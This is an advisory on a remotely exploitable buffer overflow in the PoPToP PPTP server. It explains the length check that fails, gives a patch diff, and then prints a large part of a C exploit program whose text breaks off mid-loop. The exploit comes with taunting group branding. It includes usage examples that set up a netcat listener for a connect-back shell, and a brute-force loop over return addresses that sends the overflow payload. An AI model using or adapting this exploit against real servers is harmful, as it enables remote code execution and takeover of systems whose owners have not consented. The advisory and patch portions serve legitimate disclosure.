PoPToP is "the PPTP server solution for Linux (ports exist for Solaris 2.6, OpenBSD and FreeBSD and others). Before PoPToP no solution existed if you wished to include Linux servers in PPTP established VPNs". A remotely exploitable buffer overflow allows attackers to cause the product to execute arbitrary code by supplying telling the program the length of the buffer being transmitted is 0. The following exploit code can be used to test an administrator's installation of the program.
Looks good so far, except: bytes_this = read(clientFd, packet + bytes_ttl, length - bytes_ttl);
If given length was 0 or 1, the "length - bytes_ttl" result is -1 or -2, which means that it reads unlimited amount of data from client into "packet", which is a buffer located in stack.
The exploitability only depends on if libc allows the size parameter to be larger than SSIZE_MAX bytes. GLIBC does, Solaris and *BSD don't.
Patch:
--- ctrlpacket.c.old 1999-12-23 23:43:33.000000000 +0200
+++ ctrlpacket.c 2003-04-09 18:58:21.000000000 +0300
@@ -254,8 +254,8 @@
}
/* OK, we have (at least) the first 2 bytes, and there is data waiting */
length = htons(*(u_int16_t *) packet);
- if (length > PPTP_MAX_CTRL_PCKT_SIZE) {
- syslog(LOG_ERR, "CTRL: Control packet > PPTP_MAX_CTRL_PCKT_SIZE (length = %d)", length);
+ if (length <= 10 || length > PPTP_MAX_CTRL_PCKT_SIZE) {
+ syslog(LOG_ERR, "CTRL: 11 < Control packet (length=%d) < ", length);
/* we loose sync (unless we malloc something big, which isn't a good
* idea - potential DoS) so we must close connection (draft states that
* if you loose sync you must close the control connection immediately)
Exploit:
/*
* Fixed Exploit against PoPToP in Linux (poptop-sane.c)
* ./r4nc0rwh0r3 of blightninjas (blightninjas@hushmail.com)
*
* blightninjas: bringing pain, suffering, and humiliation to the security world
* Expect more great release like helloworld-annotated.c and
* cd explained whitepaper, we are working hard in da underground
*
* Other Editions Available At:
* http://www.freewebs.com/blightninjas/
*
* *** Bugtraq Clean Edition ***
* Based off of code by einstein_dhtm@front.ru
*
* Notes on the exploit:
* This was only tested under slackware, RET_OFF could possibly
* be different.
* You can have nulls in the shellcode (the hole is in a read())
* This allows you to have ips and ports with nulls in them
*
* Shouts to ADM, TESO, and all the other "cool" groups that never give us 0day
*
* Examples:
* attack target 1
* nc -v -l -p 10000 <-- on 1.1.1.2
* ./poptop-sane 1.1.1.1 1.1.1.2 10000 -t 1
* don't come to use, we come to you.
*
* ./poptop-sane 1.1.1.1 1.1.1.2 10000 -t
* list targets
*
* ./poptop-sane 1.1.1.1 1.1.1.2 10000 -r 0xbffff600
* attack using ret address 0xbffff600
*
* I think you get the point
*/
int main(int argc, char** argv)
{
struct pptp_reply reply;
// rushing things only makes it worse
int timeout = 1000;
u_int32_t ret;
int bytes, j, checked = 0;
signal(SIGPIPE, catch_pipe);
printf("\n");
// Sorry, I failed REALLY FUCKING LAME ASCII ART class
printf(" D A SSSSS \n");
printf(" D A A S SSSSS T\n");
printf(" D A A S S T EE AA M M \n");
printf(" DDD D AAAAAAA SSSSS S T E E A A MM MM \n");
printf(" D DD A A S SSSSS TTTT E E A A MM MM \n");
printf(" D D A A S S T EEE AAAA M M M \n");
printf(" D D A A SSSSS S T E A A M M \n");
printf(" DDDD A A SSSSS TTT EEE A A M M ");
printf(" ... presents ... \n\n");
printf("Exploit for PoPToP PPTP server older than\n1.1.4-b3 and 1.1.3-20030409 under Linux.\n");
printf("by .einstein., April 2003. <-- the genius\n\n");
printf("fixed by ./r4nc0rwh0r3 of blightninjas blightninjas@hushmail.com\n\n");
if (argc < 2)
{
printf("usage: \n");
printf(" %s <pptp_server> [your_ip] [your_port] ...\n",argv[0]);
printf(" -b [timeout in ms]\n");
printf(" -t [target]\n");
printf(" -r [ret address]\n");
//Abridged edition
printf(" Only supply pptp_server to test exploitability using really poor method.\n");
printf(" Connect back to your_ip at your_port.\n\n");
return 0;
}
if (argc == 2)
{
if (!connect_server(argv[1])) return 1;
printf("\nChecking if the server is vulnerable..\n");
printf("(if it is you have to wait 65 seconds)..\n");
send_init_request(st);
//header length
bytes = recv(st,(char*)&reply,2,0);
printf("PoPToP server is ");
if ((bytes = recv(st,(char*)&reply,2,0)) != -1) printf("vulnerable!\n");
else printf("not vulnerable\n");
close(st);
return 1;
}
if(argc < 5) exit(1);
else if(strncmp(argv[4], "-b", 2) == 0) {
if(argc == 6) timeout = atoi(argv[5]);
printf("[!] Attempting bruteforce against %s, timeout: %d\n", argv[1], timeout);
printf("interrupt when you get a shell to %s on port %d...\n\n",argv[2],atoi(argv[3]));
for (ret = TOPOFSTACK; ret >=BOTTOMOFSTACK; ret -= STEP) {
printf("[*] ");
if (!connect_server(argv[1])) return 1;
printf("[ret=0x%x]..",ret);
printf("sending payload..");
// initial packet
send_init_request(st);
//a real overflowing ping packet
send_ping_overflow(st,ret,argv[2],atoi(argv[3]));
close(st);